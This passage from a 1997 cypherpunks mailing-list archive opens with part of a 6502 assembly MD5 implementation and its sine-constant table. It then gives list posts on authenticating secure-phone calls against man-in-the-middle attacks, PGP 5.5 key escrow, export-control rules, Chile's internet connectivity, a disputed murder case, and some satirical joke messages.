> *          F(X,Y,Z) = XY v not(X) Z
> 
> F_BCD LDA MD5TEMPB+4 ;B&C
>  AND MD5TEMPB+8
>  STA MD5TEMP2
>  LDA MD5TEMPB+5
>  AND MD5TEMPB+9
>  STA MD5TEMP2+1
>  LDA MD5TEMPB+6
>  AND MD5TEMPB+10
>  STA MD5TEMP2+2
>  LDA MD5TEMPB+7
>  AND MD5TEMPB+11
>  STA MD5TEMP2+3
>  CLC ;not(B)&D or (previous) -> MD5TEMPV+=
>  LDA MD5TEMPB+4
>  EOR #$FF
>  AND MD5TEMPB+12
>  ORA MD5TEMP2
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+5 ;
>  EOR #$FF
>  AND MD5TEMPB+13
>  ORA MD5TEMP2+1
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+6 ;
>  EOR #$FF
>  AND MD5TEMPB+14
>  ORA MD5TEMP2+2
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+7 ;
>  EOR #$FF
>  AND MD5TEMPB+15
>  ORA MD5TEMP2+3
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> F_ABC LDA MD5TEMPB ;A&B
>  AND MD5TEMPB+4
>  STA MD5TEMP2
>  LDA MD5TEMPB+1
>  AND MD5TEMPB+5
>  STA MD5TEMP2+1
>  LDA MD5TEMPB+2
>  AND MD5TEMPB+6
>  STA MD5TEMP2+2
>  LDA MD5TEMPB+3
>  AND MD5TEMPB+7
>  STA MD5TEMP2+3
>  CLC ;not(A)&C or (previous) -> MD5TEMPV+=
>  LDA MD5TEMPB
>  EOR #$FF
>  AND MD5TEMPB+8
>  ORA MD5TEMP2
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+1 ;
>  EOR #$FF
>  AND MD5TEMPB+9
>  ORA MD5TEMP2+1
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+2 ;
>  EOR #$FF
>  AND MD5TEMPB+10
>  ORA MD5TEMP2+2
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+3 ;
>  EOR #$FF
>  AND MD5TEMPB+11
>  ORA MD5TEMP2+3
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> F_DAB LDA MD5TEMPB+12 ;D&A
>  AND MD5TEMPB
>  STA MD5TEMP2
>  LDA MD5TEMPB+13
>  AND MD5TEMPB+1
>  STA MD5TEMP2+1
>  LDA MD5TEMPB+14
>  AND MD5TEMPB+2
>  STA MD5TEMP2+2
>  LDA MD5TEMPB+15
>  AND MD5TEMPB+3
>  STA MD5TEMP2+3
>  CLC ;not(D)&B or (previous) -> MD5TEMPV+=
>  LDA MD5TEMPB+12
>  EOR #$FF
>  AND MD5TEMPB+4
>  ORA MD5TEMP2
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+13 ;
>  EOR #$FF
>  AND MD5TEMPB+5
>  ORA MD5TEMP2+1
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+14 ;
>  EOR #$FF
>  AND MD5TEMPB+6
>  ORA MD5TEMP2+2
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+15 ;
>  EOR #$FF
>  AND MD5TEMPB+7
>  ORA MD5TEMP2+3
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> F_CDA LDA MD5TEMPB+8 ;C&D
>  AND MD5TEMPB+12
>  STA MD5TEMP2
>  LDA MD5TEMPB+9
>  AND MD5TEMPB+13
>  STA MD5TEMP2+1
>  LDA MD5TEMPB+10
>  AND MD5TEMPB+14
>  STA MD5TEMP2+2
>  LDA MD5TEMPB+11
>  AND MD5TEMPB+15
>  STA MD5TEMP2+3
>  CLC ;not(C)&A or (previous) -> MD5TEMPV+=
>  LDA MD5TEMPB+8
>  EOR #$FF
>  AND MD5TEMPB
>  ORA MD5TEMP2
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+9 ;
>  EOR #$FF
>  AND MD5TEMPB+1
>  ORA MD5TEMP2+1
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+10 ;
>  EOR #$FF
>  AND MD5TEMPB+2
>  ORA MD5TEMP2+2
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+11 ;
>  EOR #$FF
>  AND MD5TEMPB+3
>  ORA MD5TEMP2+3
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> * G Function:
> *          G(X,Y,Z) = XZ v Y not(Z)
> 
> G_BCD LDA MD5TEMPB+4 ;B&D
>  AND MD5TEMPB+12
>  STA MD5TEMP2
>  LDA MD5TEMPB+5
>  AND MD5TEMPB+13
>  STA MD5TEMP2+1
>  LDA MD5TEMPB+6
>  AND MD5TEMPB+14
>  STA MD5TEMP2+2
>  LDA MD5TEMPB+7
>  AND MD5TEMPB+15
>  STA MD5TEMP2+3
>  CLC ;not(D)&C or (previous) -> MD5TEMPV+=
>  LDA MD5TEMPB+12
>  EOR #$FF
>  AND MD5TEMPB+8
>  ORA MD5TEMP2
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+13 ;
>  EOR #$FF
>  AND MD5TEMPB+9
>  ORA MD5TEMP2+1
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+14 ;
>  EOR #$FF
>  AND MD5TEMPB+10
>  ORA MD5TEMP2+2
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+15 ;
>  EOR #$FF
>  AND MD5TEMPB+11
>  ORA MD5TEMP2+3
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> G_ABC LDA MD5TEMPB ;A&C
>  AND MD5TEMPB+8
>  STA MD5TEMP2
>  LDA MD5TEMPB+1
>  AND MD5TEMPB+9
>  STA MD5TEMP2+1
>  LDA MD5TEMPB+2
>  AND MD5TEMPB+10
>  STA MD5TEMP2+2
>  LDA MD5TEMPB+3
>  AND MD5TEMPB+11
>  STA MD5TEMP2+3
>  CLC ;not(C)&B or (previous) -> MD5TEMPV+=
>  LDA MD5TEMPB+8
>  EOR #$FF
>  AND MD5TEMPB+4
>  ORA MD5TEMP2
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+9 ;
>  EOR #$FF
>  AND MD5TEMPB+5
>  ORA MD5TEMP2+1
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+10 ;
>  EOR #$FF
>  AND MD5TEMPB+6
>  ORA MD5TEMP2+2
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+11 ;
>  EOR #$FF
>  AND MD5TEMPB+7
>  ORA MD5TEMP2+3
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> G_DAB LDA MD5TEMPB+4 ;B&D
>  AND MD5TEMPB+12
>  STA MD5TEMP2
>  LDA MD5TEMPB+5
>  AND MD5TEMPB+13
>  STA MD5TEMP2+1
>  LDA MD5TEMPB+6
>  AND MD5TEMPB+14
>  STA MD5TEMP2+2
>  LDA MD5TEMPB+7
>  AND MD5TEMPB+15
>  STA MD5TEMP2+3
>  CLC ;not(B)&A or (previous) -> MD5TEMPV+=
>  LDA MD5TEMPB+4
>  EOR #$FF
>  AND MD5TEMPB
>  ORA MD5TEMP2
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+5 ;
>  EOR #$FF
>  AND MD5TEMPB+1
>  ORA MD5TEMP2+1
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+6 ;
>  EOR #$FF
>  AND MD5TEMPB+2
>  ORA MD5TEMP2+2
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+7 ;
>  EOR #$FF
>  AND MD5TEMPB+3
>  ORA MD5TEMP2+3
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> G_CDA LDA MD5TEMPB ;C&A
>  AND MD5TEMPB+8
>  STA MD5TEMP2
>  LDA MD5TEMPB+1
>  AND MD5TEMPB+9
>  STA MD5TEMP2+1
>  LDA MD5TEMPB+2
>  AND MD5TEMPB+10
>  STA MD5TEMP2+2
>  LDA MD5TEMPB+3
>  AND MD5TEMPB+11
>  STA MD5TEMP2+3
>  CLC ;not(A)&D or (previous) -> MD5TEMPV+=
>  LDA MD5TEMPB
>  EOR #$FF
>  AND MD5TEMPB+12
>  ORA MD5TEMP2
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+1 ;
>  EOR #$FF
>  AND MD5TEMPB+13
>  ORA MD5TEMP2+1
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+2 ;
>  EOR #$FF
>  AND MD5TEMPB+14
>  ORA MD5TEMP2+2
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+3 ;
>  EOR #$FF
>  AND MD5TEMPB+15
>  ORA MD5TEMP2+3
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> * H function:
> *          H(X,Y,Z) = X xor Y xor Z
> 
> H_BCD CLC ;BxCxD
>  LDA MD5TEMPB+4
>  EOR MD5TEMPB+8
>  EOR MD5TEMPB+12
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+5
>  EOR MD5TEMPB+9
>  EOR MD5TEMPB+13
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+6
>  EOR MD5TEMPB+10
>  EOR MD5TEMPB+14
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+7
>  EOR MD5TEMPB+11
>  EOR MD5TEMPB+15
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> H_ABC CLC ;AxBxC
>  LDA MD5TEMPB
>  EOR MD5TEMPB+4
>  EOR MD5TEMPB+8
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+1
>  EOR MD5TEMPB+5
>  EOR MD5TEMPB+9
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+2
>  EOR MD5TEMPB+6
>  EOR MD5TEMPB+10
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+3
>  EOR MD5TEMPB+7
>  EOR MD5TEMPB+11
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> H_DAB CLC ;AxBxD
>  LDA MD5TEMPB
>  EOR MD5TEMPB+4
>  EOR MD5TEMPB+12
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+1
>  EOR MD5TEMPB+5
>  EOR MD5TEMPB+13
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+2
>  EOR MD5TEMPB+6
>  EOR MD5TEMPB+14
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+3
>  EOR MD5TEMPB+7
>  EOR MD5TEMPB+15
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> H_CDA CLC ;AxCxD
>  LDA MD5TEMPB
>  EOR MD5TEMPB+8
>  EOR MD5TEMPB+12
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+1
>  EOR MD5TEMPB+9
>  EOR MD5TEMPB+13
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+2
>  EOR MD5TEMPB+10
>  EOR MD5TEMPB+14
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+3
>  EOR MD5TEMPB+11
>  EOR MD5TEMPB+15
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> * I function
> *          I(X,Y,Z) = Y xor (X v not(Z))
> 
> I_BCD CLC  ~D|B^C
>  LDA MD5TEMPB+12
>  EOR #$FF
>  ORA MD5TEMPB+4
>  EOR MD5TEMPB+8
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+13
>  EOR #$FF
>  ORA MD5TEMPB+5
>  EOR MD5TEMPB+9
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+14
>  EOR #$FF
>  ORA MD5TEMPB+6
>  EOR MD5TEMPB+10
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+15
>  EOR #$FF
>  ORA MD5TEMPB+7
>  EOR MD5TEMPB+11
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> I_ABC CLC  ~C|A^B
>  LDA MD5TEMPB+8
>  EOR #$FF
>  ORA MD5TEMPB
>  EOR MD5TEMPB+4
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+9
>  EOR #$FF
>  ORA MD5TEMPB+1
>  EOR MD5TEMPB+5
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+10
>  EOR #$FF
>  ORA MD5TEMPB+2
>  EOR MD5TEMPB+6
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+11
>  EOR #$FF
>  ORA MD5TEMPB+3
>  EOR MD5TEMPB+7
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> I_DAB CLC  ~B|D^A
>  LDA MD5TEMPB+4
>  EOR #$FF
>  ORA MD5TEMPB+12
>  EOR MD5TEMPB
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+5
>  EOR #$FF
>  ORA MD5TEMPB+13
>  EOR MD5TEMPB+1
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+6
>  EOR #$FF
>  ORA MD5TEMPB+14
>  EOR MD5TEMPB+2
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+7
>  EOR #$FF
>  ORA MD5TEMPB+15
>  EOR MD5TEMPB+3
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> I_CDA CLC  ~A|C^D
>  LDA MD5TEMPB
>  EOR #$FF
>  ORA MD5TEMPB+8
>  EOR MD5TEMPB+12
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5TEMPB+1
>  EOR #$FF
>  ORA MD5TEMPB+9
>  EOR MD5TEMPB+13
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5TEMPB+2
>  EOR #$FF
>  ORA MD5TEMPB+10
>  EOR MD5TEMPB+14
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5TEMPB+3
>  EOR #$FF
>  ORA MD5TEMPB+11
>  EOR MD5TEMPB+15
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> *Rotate left functions
> 
> MD5RL LDA MD5TEMPV ;Rotate the 32-bit temp var left by one bit
>  ASL
>  STA MD5TEMPV
>  LDA MD5TEMPV+1
>  ROL
>  STA MD5TEMPV+1
>  LDA MD5TEMPV+2
>  ROL
>  STA MD5TEMPV+2
>  LDA MD5TEMPV+3
>  ROL
>  STA MD5TEMPV+3
>  LDA MD5TEMPV ;Take high bit and wrap around;
>  ADC #0 ; add it to empty position in lowest byte
>  STA MD5TEMPV
>  RTS
> 
> * This is somewhat sloppy but it works
> * It should be optimized to use full byte shifts when possible.
> 
> MD5RL7 LUP 7
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL12 LUP 12
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL17 LUP 17
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL22 LUP 22
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL5 LUP 5
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL9 LUP 9
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL14 LUP 14
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL20 LUP 20
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL4 LUP 4
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL11 LUP 11
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL16 LUP 16
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL23 LUP 23
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL6 LUP 6
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL10 LUP 10
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL15 LUP 15
>  JSR MD5RL
>  --^
>  RTS
> 
> MD5RL21 LUP 21
>  JSR MD5RL
>  --^
>  RTS
> 
> *Get data from input block and add it to temp variable
> 
> MD5ADDX ASL
>  ASL
>  CLC ;It better not be greater than 16 anyway!
>  TAX
>  LDA MD5BUFR,X
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5BUFR+1,X
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5BUFR+2,X
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5BUFR+3,X
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  RTS
> 
> *Get next element from table and add it to temp variable
> 
> NEXT_T LDX MD5TP
>  CLC
>  LDA MD5T+3,X ;reverse byte order
>  ADC MD5TEMPV
>  STA MD5TEMPV
>  LDA MD5T+2,X
>  ADC MD5TEMPV+1
>  STA MD5TEMPV+1
>  LDA MD5T+1,X
>  ADC MD5TEMPV+2
>  STA MD5TEMPV+2
>  LDA MD5T,X
>  ADC MD5TEMPV+3
>  STA MD5TEMPV+3
>  INX
>  INX
>  INX
>  INX
>  STX MD5TP
>  RTS
> 
> * MD5 Sine Constants
> 
> *   The following is the 64-element MD5 table T[1 ... 64] constructed from
> *   the sine function. Let T[i] denote the i-th element of the table, which
> *   is equal to the integer part of 2^32, or 4294967296, times abs(sin(i)),
> *   where i is in radians.
> *
> *   Sorry, Colin, no occult messages here. :)
> 
> * These need to be re-arranged to LSB-first
> * (which is done by the NEXT_T subroutine)
> 
> MD5TP HEX 00 ;Pointer to current element in table below
> MD5T
> 
> *  /* Round 1 */
> 
>  HEX D76AA478 ; /* 1 */
>  HEX E8C7B756 ; /* 2 */
>  HEX 242070DB ; /* 3 */
>  HEX C1BDCEEE ; /* 4 */
>  HEX F57C0FAF ; /* 5 */
>  HEX 4787C62A ; /* 6 */
>  HEX A8304613 ; /* 7 */
>  HEX FD469501 ; /* 8 */
>  HEX 698098D8 ; /* 9 */
>  HEX 8B44F7AF ; /* 10 */
>  HEX FFFF5BB1 ; /* 11 */
>  HEX 895CD7BE ; /* 12 */
>  HEX 6B901122 ; /* 13 */
>  HEX FD987193 ; /* 14 */
>  HEX A679438E ; /* 15 */
>  HEX 49B40821 ; /* 16 */
> 
> *  /* Round 2 */
> 
>  HEX F61E2562 ; /* 17 */
>  HEX C040B340 ; /* 18 */






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hgp@dev.null>
Date: Fri, 10 Oct 1997 18:00:46 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Defeating MITM with Eric's Secure Phone
In-Reply-To: <199710091908.UAA00790@server.test.net>
Message-ID: <343DE86D.51B9@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> John Kelsey <kelsey@plnet.net> writes:
> > Adam Back <aba@dcs.ex.ac.uk> writes:
> > [computationally infeasible jobs for MITMs]
> > I prefer to work on the more immediately useful problem: How can I
> > secure my use of the (very nicely done) Comsec secure phones using
> > existing infrastructure?  I am concerned with the MITM voice
> > impersonation attack, since that's the easiest attack on the
> > system.
 
> We were discussing this problem before turning to talking about
> automated methods.  I think Eric Blossom suggested this earlier on:
> 
> > 1.    Exchange PGP-encrypted e-mail establishing a set of
> > sixteen different words, labeled for 0..f in each direction.
 
> It seems like a good solution.  An interesting question might be how
> many times can you use the same table without starting to leak values.
> Perhaps it doesn't matter that much because the MITM can't exactly use
> brute force on the problem otherwise you will know he's there.  He has
> to act non-passively to extract information.  (Presuming the protocol
> exchanges part of the information hashed for the challenge is
> encrypted with the negotiated key).
 
> I think you need an encryption function.  It depends on how many times
> you wanted to re-use the passphrase.  The "encryption" function could
> be very weak for one use.  For lots of uses you'd need a real
> encryption function.  Problem is encryption functions aren't typically
> very easy to perform as mental arithmetic exercises; and
> non-programmable calculators don't help much.

Plus - A table can be based on a previously agreed upon one-time pad,
  such as the old-school spook classic, first three words, second
  column, page 3, New York Times. 

PlusPlus - On the InformEnergy Highway, this method can be further 
  obscured by use of data on an obscure website, text or source, 
  binary or hex, etc.

The point being, that one can use complex or obscure methodologies
to obtain the one-time pad table of the day, which can be simple 
enough to calculate on-the-fly in one's head.

there Are Some Similar metHOds peopLe can useE
which can even be used by children, such as myself.

Kill Flags - When WE' RElying on FeatUres of suCh Kinds, Everyone
  shoulD be using prearranged kill flags to signal danger.

Keep in mind that I may just be telling you these things because
I am a cop and trying to gain your confidence.

OTOH, how many cops have a:
Human Gus-Peter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The New Dictator <tnd@dev.null>
Date: Fri, 10 Oct 1997 18:05:23 +0800
To: cypherpunks@toad.com
Subject: New Rule
Message-ID: <343DEF99.31B8@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



>From now on, no one can drink coffee out of yellow cups, ok?

The reason for this is because there are child molesters.

Thank you for your cooperation, or I will kill you.

The New Dictator
"I have a suitcase, and I'm not afraid to use it."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMangler <tm@dev.null>
Date: Fri, 10 Oct 1997 18:00:43 +0800
To: cypherpunks@toad.com
Subject: Monty Cantsin Exposed! / Re: What's really in PGP 5.5?
In-Reply-To: <1923cf26ae66f5dc8867599b0d394536@anon.efga.org>
Message-ID: <343DF499.6E32@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> Martin Minow claiming to be Martin Minow wrote:
> >Anonymous, claiming to be Monty Cantsin, writes about PGP 5.5:
 
> I beg your pardon!

Let me give you the *dirt* on Monty Cantsin.
Anyone who has visited h/is/er alleged website will realize that I speak
the trooth when I say that s/he was kicked out of the Electronic Forgery
Foundation when it was discovered that s/he was forging posts in h/is/er
own name.
The EFF has a policy of disbarrment for those who maintain consisent
forged personas. After all, without rules there is chaos...and
vice-versa.

TruthMangler
"Vote Bill Stewart for EFF forger of the year!"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMangler <tm@dev.null>
Date: Fri, 10 Oct 1997 18:01:15 +0800
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: Where is _my_ blowjob?
In-Reply-To: <199710100605.BAA18667@wire.insync.net>
Message-ID: <343DF9FE.6E06@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Eric Cordian wrote:
> 
> Anonymous writes:
> 
> > What is the relationship between "Harold" and "Norbert"?  You say
> > there is no direct evidence connecting them.  What evidence does
> > connect them?  Did they at least know each other?
> 
> No relationship at all, except for the fact that the police "Harold"  told
> to fuck off called the team investigating "Norbert's" death and told them
> "Harold" would make an excellent patsy, being in an illegal homosexual
> relationship with an older man and excellent media fodder.

You're an LEA, getting plump feeding off the fat of the land. You are
confiscating vehicles, homes, money, businesses, every time you find
someone in possession of a joint.
The citizens are getting a little edgy about this, when someone murders
an 11 year old boy, creating a big stink in the community.

The chief suspects are the Ramseys, but the local cops hand you a
quick and easy fix, so that you can get back to your more profitable
pursuits.
What do you do?

Not that I'm cynical, but I've seen this shit go down too many times,
from the inside, so I don't necessarily suck on every spoon stuck in
front of my face by the mainstream media.

TruthMangler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMangler <tm@dev.null>
Date: Fri, 10 Oct 1997 18:08:27 +0800
To: cypherpunks@toad.com
Subject: The more things change...
In-Reply-To: <199710100715.AAA18614@jimmy.djc.com>
Message-ID: <343DFB68.2A70@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



sampler-request@lmboyd.com wrote:
> ======================================================
>  Q. Why do some countries make it a crime to commit
> suicide?
>  A. Maybe so governments legally can confiscate the
> property of the deceased. That's how it worked in ancient
> Rome. Laws are made of money, it's said.
> ==============================================
 
> LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
> http://www.LMBoyd.com/postscript.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Fri, 10 Oct 1997 16:39:35 +0800
To: <cypherpunks@cyberpass.net>
Subject: Re: What's really in PGP 5.5?
Message-ID: <199710100833.EAA24294@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 10/9/97 12:42 PM, Anonymous (anon@anon.efga.org)  passed this wisdom:

>It still satisfies the government's requirement to get routine 
>access to most email communications, and to allow criminals who 
>use standard email packages to be watched.

 This sums up the stupidity of the whole thing. The *only* thing the 
government achieves is invasion of honest people's privacy and catching a 
few stupid crooks who would most likely fuck up anyway and get caught if 
they are actually stupid enough to think government escrowed encryption 
is gonna hide their communications.


Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "He's mad that trusts in the tameness of a wolf ... or a whore's oath."
    -- SHAKESPEARE, "King Lear," III, 6






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 10 Oct 1997 11:41:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Where is _my_ blowjob?
Message-ID: <199710100334.FAA11247@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Eric Cordian wrote:
>His parents and the cops then tried to have him declared insane and
>institutionalized, which didn't work.  They also immediately arrested
>his friend.  The cops working on his case then phoned the team
>investigating the murder of the younger boy, and gave his name to
>them as a suspect.  He was then arrested and jailed for that murder,
>although no direct evidence linking him to the murder has been
>released.

A little confused here.  Let's call the older man "Victor" and his
fifteen year old friend "Harold".  Neither of them were murdered,
right?  Let's call the murder victim "Norbert".

"Harold" refused to rat out "Victor" and now the police are charging
"Harold" with the murder of "Norbert".

What is the relationship between "Harold" and "Norbert"?  You say
there is no direct evidence connecting them.  What evidence does
connect them?  Did they at least know each other?

>The press continues to harp on the "murder suspect was abused" and
>"parents rights foiled by the system" aspects of the case, to the
>exclusion of the possibility that he is only in jail because the
>police wanted to screw him, or that the murder was committed in a
>blind fit of rage as a result of his manipulation at the hands of
>various authority figures.

While "Harold" may not be guilty of the murder, if he did kill
"Norbert" then he should probably be treated as a murderer.  While the
police should not harrass gays, such harrassment does not seem to make
a good excuse for murdering an unrelated completely innocent third
party.

JusticeMonger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 10 Oct 1997 19:18:27 +0800
To: cypherpunks@toad.com
Subject: BXA RFC on Export Controls
Message-ID: <1.5.4.32.19971010105649.00b5a36c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



"The Bureau of Export Administration (BXA) is reviewing the 
foreign policy-based export controls in the Export Administration 
Regulations to determine whether they should be modified, 
rescinded or extended. To help make these determinations, 
BXA is seeking comments on how existing foreign policy-based 
export controls have affected exporters and the general public."

   http://jya.com/bxa100897.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 11 Oct 1997 00:05:39 +0800
To: cypherpunks@toad.com
Subject: The Globalization of Chile, from The Netly News (fwd)
Message-ID: <Pine.GSO.3.95.971010085159.20480C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 10 Oct 1997 08:51:15 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: The Globalization of Chile, from The Netly News


*************

http://cgi.pathfinder.com/netly/opinion/0,1042,1484,00.html

The Netly News Network (http://netlynews.com/)
October 10, 1997

The Globalization of Chile
By Declan McCullagh (declan@well.com)

        The wires are clogged again in Chile, a country with no shortage
   of Net-enthusiasm but little way to express it. Bandwidth is so
   limited in this remote country, which stretches almost to Antarctica,
   that local netizens wake up early or stay up late to log in (this
   report had to be filed via fax). Chile's connections to the outside
   world total about 9 Mb/sec, the same size pipe that a small U.S.
   Internet provider uses to connect to the Net.
   
        Chileans intend to change this. By next summer, fiber optic
   cables will gird the country on the east and west, snaking south from
   Brazil and Peru. The country's connectivity will jump to 200 times its
   current bandwidth.
   
        Even now, though, there's plenty of excitement about the Net in
   the capital, Santiago. Apple Chile, H.P. and the Cafe Internet
   Cybercenter line the Avenue Andres Bello. The REUNA Internet World
   Conference, which ends today, attracted hundreds of local businessmen.
   Companies such as Business News Americas email (for a fee) daily
   economic reports from Chile to American investors and analysts.
   
        But even if younger Chileans are cyber-savvy, the country remains
   staunchly conservative. Nearly 90 percent of Chileans are Roman
   Catholic (it was once the state religion) and Chile remains the only
   Western country where both divorce and abortion are illegal.
   Geography, too, has an effect. The South American country is ringed by
   deserts to the north, the Pacific Ocean to the west and the lofty
   Andes mountains to the east.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cynthia Brown <cynthb@bone_dis.com>
Date: Fri, 10 Oct 1997 23:55:55 +0800
